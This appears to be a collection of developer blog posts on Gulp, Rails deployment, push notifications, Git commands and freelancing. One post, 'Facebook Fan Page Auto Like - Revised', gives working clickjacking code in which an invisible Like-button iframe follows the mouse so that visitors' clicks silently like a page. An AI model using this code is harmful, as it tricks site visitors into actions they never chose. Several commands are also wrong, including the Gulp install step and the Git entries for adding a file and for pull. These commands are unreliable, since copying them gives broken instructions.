Gulp – Moving Files

Gulp – Moving Files

The first thing we will learn to do with gulp is to move files.

Let’s create simple styles files some_styles.css and more_styles.css.

/contents/styles/some_styles.css
1
2
3
h1 {
  color: red;
}
/contents/styles/more_styles.css
1
2
3
p {
  font-size: 30px;
}

Our project structure should now look like:

1
2
3
4
5
6
7
/node_modules
/contents
  /styles
    more_styles.css
    some_styles.css
gulpfile.js
package.json

Update our gulpfile.js from the previous section and instruct gulp to move all the files found in the styles folder to our build/styles folder.

gulpfile.js
1
2
3
4
5
6
7
var gulp = require('gulp');

gulp.task('default', [], function() {
  console.log("Moving all files in styles folder");
  gulp.src("contents/styles/**.*")
    .pipe(gulp.dest('build/styles'));
});

Well, What do we expect will happen when we run gulp? If you guessed the files will be copied and moved to the build/styles folder, then give yourself a cookie.

When we run gulp , we should see:

1
2
3
4
5
6
$ gulp

Using gulpfile ~/YOUR_DIRECTORY/gulpfile.js
Starting 'default'...
Moving all files in styles folder
Finished 'default' after 7.27 ms

Our project should now look like:

1
2
3
4
5
6
7
8
9
10
11
/build
  /styles
    some_styles.css
    more_styles.css
/node_modules
/contents
  /styles
    some_styles.css
    more_styles.css
gulpfile.js
package.json

So far so good, That’s it!!! See ya!!! :)

Gulp – Hello World

Gulp – Hello World

Let’s start a new node project in our folder and add a package.json by using command below:

1
npm init

Time to install gulp using npm. First globally to access the gulp command and then locally for our package.json .

1
2
npm install gulp -g
npm install gulp --save-dev

By default gulp looks for a gulpfile.js to run. Let’s create a simple gulpfile.js.

gulpfile.js
1
2
3
4
5
var gulp = require('gulp');

gulp.task('default', [], function() {
  console.log("Hellow World");
});

In your terminator run the gulp command below:

1
gulp

You should see:

1
2
3
4
5
6
Hello Gulp

Using gulpfile ~/YOUR_DIRECTORY/gulpfile.js
Starting 'default'...
Hello Gulp! You are mighty fine.
Finished 'default' after ...

Congratulations creating your first gulp build script. So far so good, That’s it!!! See ya!!! :)

Gulp – Installation

Gulp – Installation

This article provides a step-by-step procedure of Gulp installation.

Node.js Installation
Run the setup to install the Node.js on your computer here.
Then open up the terminator in your system and enter the following command. It will display the installed Node.js version.

1
node -v

In the terminator, enter the following command to display the version of npm (Node.js package manager) which is used to install modules. It will display the installed Node.js version.

1
npm -v

Gulp Installation
In the terminator, enter the following command to install Gulp. Adding “-g” flag ensures that the Gulp is globally available for any project.

1
gulp -v

So far so good, That’s it!!! See ya!!! :)

What Is Gulp?

What is Gulp?

What is Gulp?
Gulp is a task runner that uses Node.js as a platform. Gulp purely uses the JavaScript code and helps to run front-end tasks and large-scale web applications. It builds system automated tasks like CSS and HTML minification, concatenating library files, and compiling the SASS files. These tasks can be run using Shell or Bash scripts on the command line.

Why Use Gulp?
- It is shorter, simpler and faster as compared to other task runner.
- Uses SASS and LESS as CSS preprocessor.
- Automatically refreshes page after editing the source files.
- Easy to understand and build the Gulpfile.js because, it uses pure JavaScript code to build the task.

Features
- Provides minification and concatenation.
- Uses pure JavaScript code.
- Converts LESS or SASS to CSS compilation.
- Manages file manipulation in the memory and enhances speed by using the Node.js platform.

Advantages
- Huge speed advantage over any other task runner.
- Easy to code and understand.
- Easy to test the web applications.
- Plugins are simple to use and they are designed to do one thing at a time.
- Performs repetitive tasks repeatedly such as minifying stylesheets, compressing images, etc.

Disadvantages
- More number of dependencies and is a newcomer compared to Grunt.
- Using Gulp plugins, you cannot perform multiple tasks.
- Configuration is not as clean as Grunt.

Facebook Fan Page Auto Like - Revised

Facebook Fan Page Auto Like

Due Facebook Graph API was changed/updated so my previous article ”Facebook Fan Page Auto Like” is no longer working. And here is what I revised.

Well, the process is when someone click anywhere on your site they will automatically like your page, no need to put like button.

Follow the step below to make it work:

1. Put the below code in head tag

Check the body are clicked yet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script type="text/javascript">
  var interval = 0;

  function updateActiveElement() {
    if($(document.activeElement).attr('id') == "fb-iframe") {
      clearInterval(interval);
      bodyClicked = true;
    }
  }

  $(function() {
    interval = setInterval("updateActiveElement();", 50);
  });

</script>

2. Put the below code in body tag:

Load facebook fan page like button & hide it
1
2
3
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="iframe-wrapper">
  <iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/FACEBOOK_PAGE_NAME_URL&send=false&layout=button_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=21&confirm=false" scrolling="no" frameborder="0" style="border:none;overflow:hidden;width:450px;height:21px;" allowTransparency="false"></iframe>
</div>

And then find FACEBOOK_PAGE_NAME_URL in src iframe and replace it with your facebook fan page url (ex: http://www.facebook.com/GeeKhmer).

3. Put the below code anywhere in html tag:

Set mousemove event to body & when body are clicked, it auto click on facebook like button
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script type="text/javascript">
  var bodyClicked = false;
  var iframeWrapper = document.getElementById('iframe-wrapper');
  var standardBody=(document.compatMode=="CSS1Compat") ? document.documentElement : document.body;

  function mouseFollower(e) {
    // for internet explorer
    if (window.event) {
      iframeWrapper.style.top = (window.event.y-5)+standardBody.scrollTop+'px';
      iframeWrapper.style.left = (window.event.x-5)+standardBody.scrollLeft+'px';
    }
    else {
      iframeWrapper.style.top = (e.pageY-5)+'px';
      iframeWrapper.style.left = (e.pageX-5)+'px';
    }
  }

  document.onmousemove = function(e) {
    if(bodyClicked == false) {
      mouseFollower(e);
    }
  }
</script>

So far so good, That’s it!!! See ya!!! :)

Setup and Deploy Ruby on Rails on Ubuntu 16.04 or Latest

Setup and Deploy Ruby On Rails on Ubuntu 16.04 or Latest

Since we setup Ubuntu for our development environment, we also want to use it in production. This keeps your application running consistently between development and production.

Install Ruby

The first step is to install some dependencies for Ruby:

1
2
sudo apt-get update
sudo apt-get install git-core curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev python-software-properties libffi-dev

Next we’re going to be installing Ruby using rvm:

1
2
3
4
5
6
7
sudo apt-get install libgdbm-dev libncurses5-dev automake libtool bison libffi-dev
gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
curl -sSL https://get.rvm.io | bash -s stable
source ~/.rvm/scripts/rvm
rvm install 2.3.1
rvm use 2.3.1 --default
ruby -v

The last step is to install Bundler

1
gem install bundler

Install Nginx

Phusion is the company that develops Passenger and they recently put out an official Ubuntu package that ships with Nginx and Passenger pre-installed.

We’ll be using that to setup our production server because it’s very easy to setup:

1
2
3
4
5
6
7
8
9
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 561F9B9CAC40B2F7
sudo apt-get install -y apt-transport-https ca-certificates

# Add Passenger APT repository
sudo sh -c 'echo deb https://oss-binaries.phusionpassenger.com/apt/passenger xenial main > /etc/apt/sources.list.d/passenger.list'
sudo apt-get update

# Install Passenger & Nginx
sudo apt-get install -y nginx-extras passenger

So now we have Nginx and passenger installed. We can manage the Nginx webserver by using the service command:

1
sudo service nginx start

The service command also provides some other methods such as restart and stop that allow you to easily restart and stop your webserver.

Next, we need to update the Nginx configuration to point Passenger to the version of Ruby that we’re using. You’ll want to open up /etc/nginx/nginx.conf in your favorite editor. I like to use vim, so I’d run this command:

1
sudo vim /etc/nginx/nginx.conf

Find the following lines, and uncomment them:

1
2
3
4
5
6
7
##
# Phusion Passenger config
##
# Uncomment it if you installed passenger or passenger-enterprise
##

include /etc/nginx/passenger.conf;

Once you’ve configured /etc/nginx/nginx.conf , you can run sudo service nginx restart to restart Nginx with the new Passenger configuration.

Install MySQL and PostgreSQL

Setting up your production database is pretty easy. Make sure to keep in mind that you should use a different password for your production databases.

Depending on what database you want to use, follow the steps related to the database:

Install MySQL
All you need to do in order to install MySQL is to run the following command:

1
sudo apt-get install mysql-server mysql-client libmysqlclient-dev

You can use the root user and password set during installation for your database or you can add a new user to MySQL.

Install PostgreSQL
We can install PostgreSQL like so:

1
sudo apt-get install postgresql postgresql-contrib libpq-dev

Next we need to setup the postgres user:

1
2
3
sudo su - postgres
createuser --pwprompt
exit

The password you type in here will be the one to put in your my_app/current/config/database.yml later when you deploy your app for the first time.

Adding The Nginx Host

In order to get Nginx to respond with the Rails app, we need to modify it’s sites-enabled.

Open up /etc/nginx/sites-enabled/default in your text editor and we will replace the file’s contents with the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
server {
  listen 80 default_server;
  listen [::]:80 default_server ipv6only=on;

  server_name mydomain.com;
  passenger_enabled on;
  rails_env    production;
  root         /home/deploy/myapp/public;

  # redirect server error pages to the static page /50x.html
  error_page   500 502 503 504  /50x.html;
  location = /50x.html {
    root   html;
  }
}

This is our Nginx configuration for a server listening on port 80. You need to change the server_name values to match the domain you want to use and in root replace “myapp” with the name of your application.

Connect The Database

The file config/database.yml needs to be updated for the production database server username, password, and host. You can set host to “localhost” and you will have to create a database on the server with the same name by using command:

1
2
rake db:create RAILS_ENV=production
rake db:migrate RAILS_ENV=production

Then run command below to minify or compress JavaScript and CSS assets:

1
rake assets:precompile RAILS_ENV=production

Setup Secret Key Base

Go to your rails app directory and run command below to generate secret key base:

1
rake secret RAILS_ENV=production

Go to /yourapp/config/secrets.yml and set production secret_key_base. Then reload Nginx using command line: sudo service nginx reload

So far so good, That’s it!!! See ya!!! :)

Send Notifications From Rails Backend to iOS and Android

Send Notifications from Rails Backend to iOS and Android

Written for a project. I developed the backend for a social network app - My own startup business, will release soon.

One of the most common uses for a backend connected to a mobile application is to use it to send push notifications to users. Once you’ve wrapped your head around it, it’s pretty straightforward, but it’s also a common source of confusion for developers new to the topic. This frequent confusion is also the reason I’ve decided to cover it for my introductory technical story for my own startup business app, where I’m a CEO.

Before I continue, you should know that there are plug-n-play services that will provide you with a notification-sending backend, if you’re willing to pay for it (Parse, mobDB, Pushwoosh, Urban Airship, etc.), but since that’s not the way of the warrior, let’s see how you do it from scratch (and for free).

“If you wish to make an apple pie from scratch, you must first invent the universe.” - Carl Sagan

There are several components in my own startup business app that play various roles in the notification sending feature:
1. API endpoint for getting tokens from mobile devices.
2. Resque worker which remains connected to Apple/Google notification servers and feeds off a queue of notifications in Redis.
3. The code that does the actual sending and feedback processing in the worker.

Before anything else, you need to ask the user if they’d like to receive push notifications (iOS notifications, Google Cloud Messaging) and if they say yes, get their device token and send it from the mobile device to the backend server. We store these tokens in a simple ActiveRecord model called Device:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# ====================
# Schema Information
# Table name: devices
#  id         :integer          not null, primary key
#  user_id    :integer
#  token      :string(255)
#  enabled    :boolean          default(TRUE)
#  created_at :datetime         not null
#  updated_at :datetime         not null
#  platform   :string(255)
# ====================

class Device < ActiveRecord::Base
  attr_accessible :enabled, :token, :user, :platform
  belongs_to :user
  validates_uniqueness_of :token, scope: :user_id
end

Instances of Device get created when the mobile app calls an API endpoint, which looks something like this (we’re using grape gem for our API needs):

1
2
3
4
5
6
resource :devices do
  post do
    @device = Device.create(user: current_user, token: params[:token], platform: params[:platform])
    present @device, with: WellWithMe::Entities::Device
  end
end

With our mobile app user having a stored device token, we’re now ready to queue notifications for her, which we do through a simple Redis list backed Notification model, which ensures data validity among other things. If a user has multiple devices, the Notification model also ensures they get sent to all of them. Queuing notifications is then as easy as:

1
notification = Notification.new(user, "#{activity.user.name} just started the challenge!", 'status_change')

In an essence, the Notification model is a Redis list, which serves as the queue for a background worker (NotificationSender):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class NotificationSender
  @queue = :notifications

  def self.perform
    @list = Redis::List.new(Notification.key_name)
    while notification = @list.pop do
      notification_json = JSON.parse(notification)
      if notification_json['platform'] == 'iOS'
        note = Grocer::Notification.new(
          device_token: notification_json['token'],
          alert: notification_json['message'],
          sound: 'default',
          badge: 0
        )

        PUSHER.push(note)
      elsif notification_json['platform'] == 'Android'
        gcm = GCM.new(ENV['gcm_key'])
        registration_id = [notification_json['token']]
        options = {
          'data' => {
            'message' => notification_json['message']
          },
            'collapse_key' => 'updated_state'
        }
        response = gcm.send_notification(registration_id, options)
      end
    end
  end
end

Having NotificationSender be a queued job constantly running on a worker as opposed to a synchronous connection has the advantage of not trying to establish a connection to Apple’s notification servers for every notification, which is something Apple actively discourages: Apple’s note about notification servers connections.

Thus NotificationSender is a Resque job, which is run every minute and just gobbles up the Redis list of notifications, and sends them according to the platform. We’re using the awesome grocer gem for iOS and the GCM gem for Android. Both are working perfectly and the documentation is very good. The only caveat is that you should watch out for certificates magic in iOS, as you need to have your Apple certificates on the server as well, and you need to export them in a certain way (including the private key) - just follow instructions for the grocer gem to the letter, and you’ll be fine.

With this, you should have a working and easily extendible system for sending important notifications about in-app events to your users. Notifications can drastically increase user retention, just don’t abuse them or they’ll have an opposite effect.

Git Command Line

Git Command Line

How to install GIT on Linux/Ubuntu – Today, Source Version Control has gained popularity in the management of source code. Therefore, the software engineer needs to know how to use and manipulate GIT. The following common GIT command line will help you manipulate GIT:

Set up Git Configuration

1
2
3
4
5
6
7
8
9
git config --global user.email "your_email@domain_name.com" /* Setup email is used to commit */

git config --global user.name "your user name" /* Setup username is used to commit */

git config --global core.editor "vi" /* Choose editor used by GIT */

git config --global color.ui true /* Setup color ui for command line */

git config --list /* See Git configuration */

To Initialise a Local Repository

1
git init

Add a File to the Repository

1
git init

Commit the Change to Git

1
git commit -m "message"

See the Commits

1
git log

Basic Commands

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
git status  /*  The command 'git status' tells which files are not added or committed from Working to Staging to Repository */

git commit -m "message" /*  Commits and changes to all files that are in Staging into Repo  */

git diff /*  Show changes between Working and Local Repo, no file supplied shows all files  */

git diff --staged /*  Shows changes between Staged and Local Repo  */

git rm file.txt /*  Will remove file from working then git commit -m "" to also remove from Repo */

git rm --cached file.txt /* Leaves copy of file in Working but removes from Staging and Repo */

git mv /* Rename or move files - then git commit -m "" to move to Repo */

git commit -am "text goes here" /* Adds all files straight to Repo from Staging if they have changes - meaning they skip git add */

git checkout -- file.txt /* Restore Repo file to Working Directory using current branch  */

git reset --soft HEAD^ /* Restore repo file to staging */

git reset HEAD file.txt /*  Move a Stage file out of Stage back to Working */

git commit --amend -m "message" file.txt /* Change last commit to Repo (only last one can change) */

Resetting & Reverting

1
2
3
4
5
6
7
8
9
10
11
/* Reverting --soft --mixed --hard will go back to previous commits* /

git log /* Gets the sha1s so you can see the coomits where you want revert  back to */

git reset --soft sha /* Changes Repo but not Staging or Working */

git reset --mixed sha /* Changes Repo and Staging but not Working */

git reset --hard sha /* Changes all 3 Tiers */

git clean -f /* Remove untracked files from Working  */

Ignore File

1
2
3
4
5
6
7
8
9
10
.gitignore /* Ignores files to track in Working / track the .gitignore file */

Global Ignore /* Create in home folder  */
.gitignore_global
.DS_Store
.Trashes
.Spotlight_V100
/* Add in  */

git config --global core.excludesfile ~/.gitignore_global /* Add to gitconfig */

Stop Tracking Changes

1
git rm --cached file.txt /* Leaves copy in Repo and Working */

Commit Log

1
2
3
4
5
git ls-tree HEAD
git ls-tree master
git log --oneline
git log --author="Bunlong"
git log --grep="temp"

Show Commit

1
git show dc094cb /*  show SHA1 */

Commands on Branch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
git branch /* Show local branches * is the one we are on */

git branch -r /* Shows remote branches */

git branch -a /* Shows local and remote */

git branch newbranch /* Creates a new branch */

git checkout newbranch /* Switch to new branch */

git checkout -b oldbranch /* Creates and switches to new branch  */

git push origin newbranch /* Push new branch to remote */

/* Diff in Branches */

git diff master..otherbranch /* Shows diff */

git diff --color-words master..otherbranch /*  Shows diff in color */

git branch --merged /* Shows any merged branches */

/* Rename Branch */

git branch -m oldname newname

/* Delete  Branch */

git branch -d nameofbranch

/* Merge Branch  */

git merge branchname /* Be on the receiver branch to merge the other branch */

/* Merge Conflicts between the same file on 2 branches are marked in HEAD and other branch */

git merge --abort /*  Abort basically cancels the merge */

Manually Fix Files and Commit - The Stash

1
2
3
4
5
6
7
8
9
10
11
12
13
git stash save "message"

git stash list /* Shows whats in stash */

git stash show -p stash@{0} /* Show the diff in the stash */

git stash pop stash@{0} /* Restores the stash deletes the tash */

git stash apply stash@{0} /* Restores the stash and keeps the stash */

git stash clear /* Removes all stash */

git stash drop stash@{0}

Remotes Commands

1
2
3
4
5
6
7
8
9
git remote add origin https://github.com/bunlong/test.git /* Origin can be named whateve followed by the remote */

git remote /* To show all remotes */

git remote show origin /* To see remote URL*/

git remote remove origin /* To remove remote */

git remote rm origin /* To remove remote */

Clone project. Push from local to Remote

1
2
3
4
5
6
7
8
9
10
11
/* Cloning a GitHub Repo - create and get the URL of a new repository from GitHub, then clone that to your local repo, example below uses local repo named 'nameoffolder' */

git clone https://github.com/bunlong/test.git nameoffolder

git push -u origin master /* Push to remote(origin) and branch(master) */

/* Push to Remote from Local - more - since when we pushed the local to remote we used -u parameter then the remote branch is tracked to the local branch and we just need to use... */

git push

git push origin newbranch /* Push a branch to a remote */

Fetch Changes from a Cloned Repository

1
git fetch origin /* Pulls down latest committs from remote origin/master not origin, also pull down any branches pushed to Repo Fetch before you work Fetch before you pull Fetch often */

Merge with origin/master

1
git merge origin/master

Fetch + Merge data ==> Pull

1
git merge origin/master

Get Remote Branch

1
git branch branch_name origin/branch_name /* This will bring the remote branch to local and track with the remote */

Delete Branch

1
git branch -d branch_name

Checkout and Switch Branch and Track to Remote

1
git checkout -b nontracking origin/nontracking

Remove Remote Branch

1
git push origin --delete branch

Undoing Changes

1
2
3
4
5
6
7
git checkout path-to-file /* Restores a file before it is staged */

git reset HEAD path-to-file /* If it is staged - restores a file from last commit and then git checkout path-to-file */

git checkout HEAD^ path-to-file /* If is staged and committed - restores from last commit */

git reset --hard HEAD^ /* Restore prior commit */

Tag

1
2
3
4
5
6
7
git tag -a v1.0.0 -m "message" /* Tagging a commit with a version number*/

git push --tags /* Pushes tag info to master remote */

/* You can checkout a commit and add a tag to that commit by checking out its SHA */

git checkout f1f4a3d /* Checking out a commit - see the commit SHAS by git log */

The Freelancer

The Freelancer

Freelancer is a self-employed person who pursues a profession without a long-term commitment to any particular employer. Your curiosity in this opportunity was probably sparked by posts marked “Freelance” or “Work from anywhere” on the myriad of job boards around the Web. Freelancing is equal parts freedom and responsibility. While you have the freedom to choose when you work, where you work and what you work on, you are also responsible for everything: deadlines, finding work, the quality of your work, communication and so much more.

So, your skill may be in Web development, Graphic design and your approach is to freelance, but it’s not that easy: freelancing is no walk in the park. It could become a living nightmare if you’re not able to use your time efficiently and remain focused and motivated until a project comes to a close. It could also become a nightmare if you market yourself poorly, are constantly desperate for work or surrender too much power to a client, putting you in the position of a monkey-worker responding to petty demands. The reasons I love being a freelancer:

Be your own boss
Report to no one but yourself. You will work on boring tasks.

Enjoy your freedom
You have the freedom to work when and where you please, the freedom to structure your day as you please.

Choose what to work on
Want to spend 50% of your time on open-source projects? Interested in building your own Web app? You have the power to make that a reality. Want to work exclusively on projects in social media? Make it happen.

Set your rates
Value is both a reflection of how you perceive yourself and how others perceive you. Are you capable of meeting deadlines, communicating well and delivering quality code?

If you are just starting out, charging $80 per hour will be hard; you have to earn that rate over time and with experience.

So far so good, That’s it!!! See ya!!! :)

Continuous Learning

Continuous Learning

WE LIVE IN INTERESTING TIMES. As development gets distributed across the globe, you learn there are lots of people capable of doing your job. You need to keep learning to stay marketable. Otherwise you’ll become a dinosaur, stuck in the same job until, one day, you’ll no longer be needed or your job get out-sourced to some cheaper resource.

So what do you do about it? Here’s a list of ways to keep you learning. Many of these can be found on the Internet for free:

+ Read books, magazines, blogs, Twitter feeds, and websites. If you want to go deeper into a subject, consider joining a mailing list or new group.

+ If you really want to get immersed in a technology, get hand on–write some code.

+ A good way to learn something is to teach or speak about it. When people are going to listen to you and ask you questions, you’ll be highly motivated to learn. Try a lunch learn at work, a user group, or a local conference.

+ Join or start a study group or a local user group for a languages, technology, or discipline you are interested in.

+ Go to conferences. And if you can’t go, many conferences put their talks on line for free.

+ Long commute? Listen to podcasts.

+ Follow the advice of the Pragmatic Programmers and learn a new language every year.

+ Not everything you learn has to be about technology. Learn the domain you’re working in so you can better understand the requirements and help solve the business problem. Learning how to be more productive–how to work better–is another good option.

+ Go back to school.

You don’t have to spend every waking hour learning. A little time–say, each week–is better than nothing. There is (or should be) a life outside of work.

Technology changes fast. Don’t get left behind.